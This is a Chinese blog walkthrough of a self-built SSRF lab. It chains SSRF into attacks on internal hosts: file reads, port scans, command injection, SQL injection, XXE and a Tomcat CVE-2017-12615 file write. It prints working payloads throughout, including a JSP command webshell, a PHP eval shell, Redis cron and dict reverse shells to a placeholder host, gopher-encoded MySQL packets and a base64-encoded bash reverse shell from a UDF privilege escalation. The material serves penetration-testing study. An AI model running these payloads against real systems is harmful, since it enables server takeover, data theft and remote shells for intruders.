发布于2022年11月26日2年前 SSRF 以前没有单独总结过相关的姿势点,去年的时候国光就已经写了一大半了,但是后面由于经常赶项目的原因,所以这篇文章就拖延到今天才发布,感觉这个版本还是比较完善的(实际上还有几个坑没有填 但是搞这么细有啥意义呢,真正的内网当中 SSRF 打穿还是很有难度的)。 靶场拓扑设计 首先来看下本次靶场的设计拓扑图: 先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。 本场景基本上覆盖了 SSRF 常见的攻击场景,实际上 SSRF 还可以攻击 FTP、Zabbix、Memcached 等应用,由于时间和精力有限,先挖个坑,以后有机会的话再补充完善这套 SSRF 攻击场景的。 x.x.x.x:8080 - 判断 SSRF 是否存在 能够对外发起网络请求的地方,就可能存在 SSRF。首先看下目标站点的功能,获取站点快照: 先尝试获取外网 URL 试试看,测试一下经典的 百度 robots.txt: 测试成功,网站请求了 Baidu 的 robots.txt 文件了,并将请求页面的内容回显到了网站前端中。那么接下来尝试获取内网 URL 看看,测试请求 127.0.0.1 看看会有什么反应: 测试依然成功,网站请求了 127.0.0.1 的 80 端口 ,也就是此可我们浏览的界面,所以我们就看到了图片上的 “套娃” 现象。 通过以上两次请求,已经基本上可以确定这个输入框就是传说中的 SSRF 的漏洞点了,即没有对用户的输入进行过滤,导致可以用来发起任意的内网或者外网的请求。 172.72.23.21 - SSRF 获取本地信息 FILE 协议获取本地信息 既然当前站点存在 SSRF 的话,我们可以尝试配合 file 协议来读取本地的文件信息,首先尝试使用 file 协议来读取 /etc/passwd 文件试试看: PAYLOAD file:///etc/passwd 成功读取到了本地的文件信息,现在尝试来获取存在 SSRF 漏洞的本机内网 IP 地址信息,确认当前资产的网段信息: PAYLOAD file:///etc/hosts 可以判断当前机器的内网地址为 172.23.23.21,那么接下来就可以对这个内网资产段进行信息收集了。 权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况 172.72.23.1/24 - SSRF 探测内网端口 SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口,具体可以探测哪些端口需要大家自己动手去测试一下,BP 下使用迭代器模式爆破,设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息: 通过爆破可以轻易地整理出端口的开放情况: CODE 172.72.23.21 - 80 172.72.23.22 - 80 172.72.23.23 - 80、3306 172.72.23.24 - 80 172.72.23.25 - 80 172.72.23.26 - 8080 172.72.23.27 - 6379 172.72.23.28 - 6379 172.72.23.29 - 3306 对照下拓扑图,端口开放信息都是一一匹配的,信息收集完毕,那么接下来就开始只使用最外部的 SSRF 来打穿内网吧。 除了使用 DICT 协议探测端口以外,还可以使用正常的 HTTP 协议获取到内网中 Web 应用的信息情况,这里就不再赘述了。 172.72.23.22 - 代码注入 代码注入应用详情 本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。 index.php 一个正常的提示页面,啥都没有: phpinfo.php 凑数勉强算是一个敏感文件吧: shell.php 一个经典的 system 一句话木马: SSRF 之目录扫描 如果想要利用 SSRF 漏洞对内网 Web 资产进行目录扫描的话,使用传统的 dirsearch 等工具就不是很方便了,国光在这种场景下使用的是 Burpsuite 抓包,然后导入字典批量遍历路径参数,请求包如下: 使用 Burpsuite 自带的 Grep - Extract 可以快速地筛选页面正则匹配的结果,很明显这个 172.72.23.22 的内网站点下面还存在着 phpinfo.php 和 shell.php: SSRF 之代码注入 因为这个一句话 webshell 使用了 GET 来接受请求,所以可以直接使用 SSRF 的 HTTP 协议来发起 GET 请求,直接给 cmd 参数传入命令值,导致命令直接执行: 使用浏览器提交请求的话,空格得写成 %20 才可以顺利执行命令 : 从 hosts 文件的结果可以看出,当前我们已经拿下了内网 172.72.23.22 这台机器的权限了。 如果从 BP 里面抓包请求的话,空格得写成 %2520,即两次 URL 编码才可以顺利执行命令: 172.72.23.23 - SQL 注入 SQL 注入应用详情 本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。 基础的联合查询注入,可以直接带出数据库的相关信息: 同时也预设了一个 flag,同样通过联合查询也可以简单的查询出 flag 的值: 因为管理员(国光)不小心(故意)给网站目录设置了 777 权限,所以这里可以尝试通过 MySQL 的 INTO DUMPFILE 直接往网站的目录下写 shell,最终借助 SQL 注入的 UNION 注入来执行写 shell 的 SQL 语句 payload 如下: 成功写 shell 后,浏览器直接访问执行命令看看: SSRF 之 SQL 注入 利用 SSRF 来注入内网中存在 SQLI 的资产的话,和上一个小节的 GET 型注入差不多,只要注意一些编码细节即可。 SSRF 之基础的联合查询注入,可以直接带出数据库的相关信息,和正常注入差不多,只需要将空格进行两次 URL 编码即可: 同理直接注入出数据库中的 flag: 往网站的目录写通过 SQL 语句来写 shell: 写入 shell 成功后尝试直接来命令执行: 172.72.23.24 - 命令执行 命令执行应用详情 本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。 172.72.23.24 是一个经典的命令执行,通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行: SSRF 之命令执行 这种场景和之前的攻击场景稍微不太一样,之前的代码注入和 SQL 注入都是直接通过 GET 方式来传递参数进行攻击的,但是这个命令执行的场景是通过 POST 方式触发的,我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,gopher 的基本请求格式如下: gopher 协议是一个古老且强大的协议,从请求格式可以看出来,可以传递最底层的 TCP 数据流,因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。 首先来抓取正常情况下 POST 请求的数据包,删除掉 HTTP 请求的这一行: PAYLOAD Accept-Encoding: gzip, deflate 如果不删除的话,打出的 SSRF 请求会乱码,因为被两次 gzip 编码了。 接着在 Burpsuite 中将本 POST 数据包进行两次 URL 编码: 两次 URL 编码后的数据就最终的 TCP 数据流,最终 SSRF 完整的攻击请求的 POST 数据包如下: 可以看到通过 SSRF 成功攻击了 172.72.23.24 的命令执行 Web 应用,顺利执行了 cat /etc/hosts 的命令: 172.72.23.25 - XML 实体注入 XXE 应用详情 本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。 本场景是一个基础的 XXE 外部实体注入场景,登录的时候用户提交的 XML 数据,且服务器后端对 XML 数据解析并将结果输出,所以可以构造一个 XXE 读取本地的敏感信息: 下面是 XXE 攻击的效果图: SSRF 之 XXE 和上一个场景 172.72.23.24 的命令执行类似,这里 XXE 也是通过在 POST 数据包里面构造 Payload 来进行攻击的,所以依然先来抓取正常情况下 XXE 攻击的 POST 请求的数据包,删除掉 Accept-Encoding 这一行,然后使用 Burpsuite 对 POST 数据包进行两次 URL 编码: 两次 URL 编码后的数据就最终的 TCP 数据流,最终 SSRF 完整的攻击请求的 POST 数据包如下: 可以看到通过 SSRF 成功攻击了 172.72.23.25 的 XXE Web 应用,顺利执行了 cat /etc/hosts 的命令: 172.72.23.26 - CVE-2017-12615 Tomcat 应用详情 本场景是一个 Tomcat 中间件,存在 CVE-2017-12615 任意写文件漏洞,这在 Tomcat 漏洞历史中也是比较经典第一个,国光这里不再赘述,没有复现的同学可以参考 vulhub 的靶场来复现次漏洞:Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615) SSRF 之 CVE-2017-12615 和之前的场景类似,国光这里不再赘述了,所以这部分写的比较简略一些。准备一个 JSP 一句话: JAVA <% String command = request.getParameter("cmd"); if(command != null) { java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } else { out.print("format: xxx.jsp?cmd=Command"); } %> 将原本攻击的 POST 数据包: 将个 POST 请求二次 URL 编码,最后通过 SSRF 发起这个 POST 请求,返回 201 状态码表示成功写 shell: 接着通过 SSRF 发起对 shell.jsp 的 HTTP 请求,成功执行了 cat /etc/hosts 的命令: 172.72.23.27 - Redis 未授权 Redis unauth 应用详情 内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下: BASH # 清空 key flushall # 设置要操作的路径为定时任务目录 config set dir /var/spool/cron/ # 设置定时任务角色为 root config set dbfilename root # 设置定时任务内容 set x "\n* * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n" # 保存操作 save SSRF 之 Redis unauth SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作,未授权的情况下可以使用 dict 或者 gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,所以本场景建议直接使用 DICT 协议来攻击,效率会高很多,DICT 协议除了可以探测端口以外,另一个奇技淫巧就是攻击未授权的 Redis 服务,格式如下: BASH dict://x.x.x.x:6379/<Redis 命令> 通过 SSRF 直接发起 DICT 请求,可以成功看到 Redis 返回执行完 info 命令后的结果信息,下面开始直接使用 dict 协议来创建定时任务来反弹 Shell: BASH # 清空 key dict://172.72.23.27:6379/flushall # 设置要操作的路径为定时任务目录 dict://172.72.23.27:6379/config set dir /var/spool/cron/ # 在定时任务目录下创建 root 的定时任务文件 dict://172.72.23.27:6379/config set dbfilename root # 写入 Bash 反弹 shell 的 payload dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n" # 保存上述操作 dict://172.72.23.27:6379/save SSRF 传递的时候记得要把 & URL 编码为 %26,上面的操作最好再 BP 下抓包操作,防止浏览器传输的时候被 URL 打乱编码 在目标系统上创建定时任务后,shell 也弹了出来,查看下 cat /etc/hosts 的确是 172.72.23.27 这台内网机器: 172.72.23.28 - Redis 有认证 Redis auth 应用详情 本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。 该 172.72.23.28 主机运行着 Redis 服务,但是有密码验证,无法直接未授权执行命令: 不过除了 6379 端口还开放了 80 端口,是一个经典的 LFI 本地文件包含,可以利用此来读取本地的文件内容: 因为 Redis 密码记录在 redis.conf 配置文件中,结合这个文件包含漏洞点,那么这时来尝试借助文件包含漏洞来读取 redis 的配置文件信息,Redis 常见的配置文件路径如下: PAYLOAD /etc/redis.conf /etc/redis/redis.conf /usr/local/redis/etc/redis.conf /opt/redis/ect/redis.conf 成功读取到 /etc/redis.conf 配置文件,直接搜索 requirepass 关键词来定位寻找密码: 拿到密码的话就可以正常和 Redis 进行交互了: SSRF 之 Redis auth 首先借助目标系统的 80 端口上的文件包含拿到 Redis 的密码:P@ssw0rd 有密码的话先使用 dict 协议进行密码认证看看: 但是因为 dict 不支持多行命令的原因,这样就导致认证后的参数无法执行,所以 dict 协议理论上来说是没发攻击带认证的 Redis 服务的。 那么只能使用我们的老伙计 gopher 协议了,gopher 协议因为需要原生数据包,所以我们需要抓取到 Redis 的请求数据包。可以使用 Linux 自带的 socat 命令来进行本地的模拟抓取: 命令来进行本地的模拟抓取: BASH socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379 此时使用 redis-cli 连接本地的 4444 端口: BASH ➜ ~ redis-cli -h 127.0.0.1 -p 4444 127.0.0.1:4444> 服务器接着会把 4444 端口的流量接受并转发给服务器的 6379 端口,然后认证后进行往网站目录下写入 shell 的操作: BASH # 认证 redis 127.0.0.1:4444> auth P@ssw0rd OK # 清空 key 127.0.0.1:4444> flushall # 设置要操作的路径为网站根目录 127.0.0.1:4444> config set dir /var/www/html # 在网站目录下创建 shell.php 文件 127.0.0.1:4444> config set dbfilename shell.php # 设置 shell.php 的内容 127.0.0.1:4444> set x "\n<?php eval($_GET[1]);?>\n" # 保存上述操作 127.0.0.1:4444> save 与此同时我们还可以看到详细的数据包情况,下面来记录一下关键的流量情况: 可以看到 Redis 的流量并不难理解,可以根据上图橙色标记的注释来理解一下,接下来整理出关键的请求数据包如下: PAYLOAD *2\r $4\r auth\r $8\r P@ssw0rd\r *1\r $8\r flushall\r *4\r $6\r config\r $3\r set\r $3\r dir\r $13\r /var/www/html\r *4\r $6\r config\r $3\r set\r $10\r dbfilename\r $9\r shell.php\r *3\r $3\r set\r $1\r x\r $25\r \r *1\r $4\r save\r 可以看到每行都是以 \r 结尾的,但是 Redis 的协议是以 CRLF (\r\n) 结尾,所以转换的时候需要把 \r 转换为 \r\n,然后其他全部进行 两次 URL 编码,这里借助 BP 就很容易解决: 最后放到 SSRF 的漏洞点进行请求: 执行成功的话会在 /var/www/html 根目录下写入 shell.php 文件,密码为 1,那么下面借助 SSRF 漏洞来试试看: PAYLOAD http://172.23.23.28/shell.php?1=phpinfo(); 成功 getshell,那么消化吸收一下,下面尝试使用 SSRF 来攻击 MySQL 服务吧。 172.72.23.29 - MySQL 未授权 MySQL 应用详情 MySQL 空密码可以登录,靶场在数据库下和系统下各放了一个 flag,通过 SSRF 可以和数据库进行交互,SSRF 进行 UDF 提权可以拿到系统下的 flag: SSRF 之 MySQL 未授权 获取原始数据包 MySQL 需要密码认证时,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;但是当无需密码认证时直接发送 TCP/IP 数据包即可。所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包,所以还是和攻击 Redis 应用一样,这里我们使用 tcpdump 来监听抓取 3306 的认证的原始数据包: BASH # lo 回环接口网卡 -w 报错 pcapng 数据包 tcpdump -i lo port 3306 -w mysql.pcapng 然后本地使用 MySQL 来执行一些测试命令: MYSQL $ mysql -h127.0.0.1 -uroot -e "select * from flag.test union select user(),'www.sqlsec.com';" +----------------+----------------------------------------+ | id | flag | +----------------+----------------------------------------+ | 1 | flag{71***************************316} | | [email protected] | www.sqlsec.com | +----------------+----------------------------------------+ 中止 tcpdump 使用 Wireshark 打开 mysql.pcapng 数据包,追踪 TCP 流 然后过滤出发给 3306 的数据: 保存为原始数据「Show data as Raw」,并且整理成 1 行: PAYLOAD a100000185a23f0000000001080000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f72640064035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f706964033530380f5f636c69656e745f76657273696f6e06352e362e3531095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420313d0000000373656c656374202a2066726f6d20666c61672e7465737420756e696f6e2073656c656374207573657228292c277777772e73716c7365632e636f6d270100000001 生成 gopher 数据流 然后使用如下的 Python3 脚本将数据转化为 url 编码: PYTHON import sys def results(s): a=[s[i:i+2] for i in range(0,len(s),2)] return "curl gopher://127.0.0.1:3306/_%"+"%".join(a) if __name__=="__main__": s=sys.argv[1] print(results(s)) 运行效果如下: SSRF 之 查询数据库 本地 curl 请求这个 gopher 协议的数据包看看: 从图上可以看到 gopher 请求的数据包已经成功执行了,user () 和 数据库中的 flag 都可查询出来了。 如果 curl 请求提示是一个二进制文件无法直接显示,所可以使用 --output 来输出到文件中,然后手动 cat 文件同样也可以看到 gopher 协议交互 MySQL 的执行结果: BASH $ curl gopher://127.0.0.1:3306/_xxx --output mysql_result SSRF 之 MySQL 提权 SSRF 攻击 MySQL 仅仅查询数据意义不大,不如直接 UDF 提权然后反弹 shell 出来更加直接,下面尝试使用 SSRF 来 UDF 提权内网的 MySQL 应用,关于 MySQL 更详细的文章可以参考我之前 MySQL 漏洞利用与提权 MySQL 漏洞利用与提权 。 首先来寻找 MySQL 的插件目录,原生的 MySQL 命令如下: BASH $ mysql -h127.0.0.1 -uroot -e "show variables like '%plugin%';" tcpdump 监听,使用 Wirshark 分析导出原始数据: 使用脚本将原始数据转换 gopher 协议,得到的数据如下: BASH curl gopher://127.0.0.1:3306/_%a2%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%65%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%33%35%35%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%35%31%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%20%00%00%00%03%73%68%6f%77%20%76%61%72%69%61%62%6c%65%73%20%6c%69%6b%65%20%0a%27%25%70%6c%75%67%69%6e%25%27%01%00%00%00%01 放入到 BP 中请求的话记得需要二次 URL 编码,可以直接获取到插件的目录信息 : 拿到 MySQL 的插件目录为:/usr/lib/mysql/plugin/ 接着来写入动态链接库,原生的 MySQL 命令如下: BASH # 因为 payload 太长 这里就先进入 MySQL 控制台 $ mysql -h127.0.0.1 -uroot MariaDB [(none)]> SELECT 0x7f454c460...省略大量payload...0000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; 关于 UDF 提权的 UDF 命令可以参考国光写的这个 UDF 提权辅助页面:MySQL UDF 提权十六进制查询 | 国光 tcpdump 监听到的原始数据后,转换 gopher 协议,SSRF 攻击写入动态链接库,因为这个 gopher 协议的数据包非常长,BP 这边可能会出现 Waiting 卡顿的状态: 不过问题不大,实际上 udf.so 已经成功写入到 MySQL 的插件目录下了: 以此类推,创建自定义函数: BASH $ mysql -h127.0.0.1 -uroot -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';" 最后通过创建的自定义函数并执行系统命令将 shell 弹出来,原生命令如下: BASH $ mysql -h127.0.0.1 -uroot -e "select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDA+JjE=|base64 -d|bash -i')" 因为国光测试默认情况下弹不出来,所以这里将原始的 bash 反弹 shell 命令给编码了: 这个编码实际上就是 JS Base64 一下,国光我模仿国外的那个网站,自己写了个页面:安全小公举 | 国光 tcpdump 监听到的原始数据后,转换 gopher 协议,BP 二次编码请求一下,然后 SSRF 攻击成功弹出 shell: 靶场源码 另外也附上了本次靶场的源码:Github - sqlsec/ssrf-vuls 有动手能力的可以自行搭建,Docker 保姆式的版本的放在知识星球里面 (恰烂钱警告) 本文来自国光小友。另感谢九世
创建帐户或登录后发表意见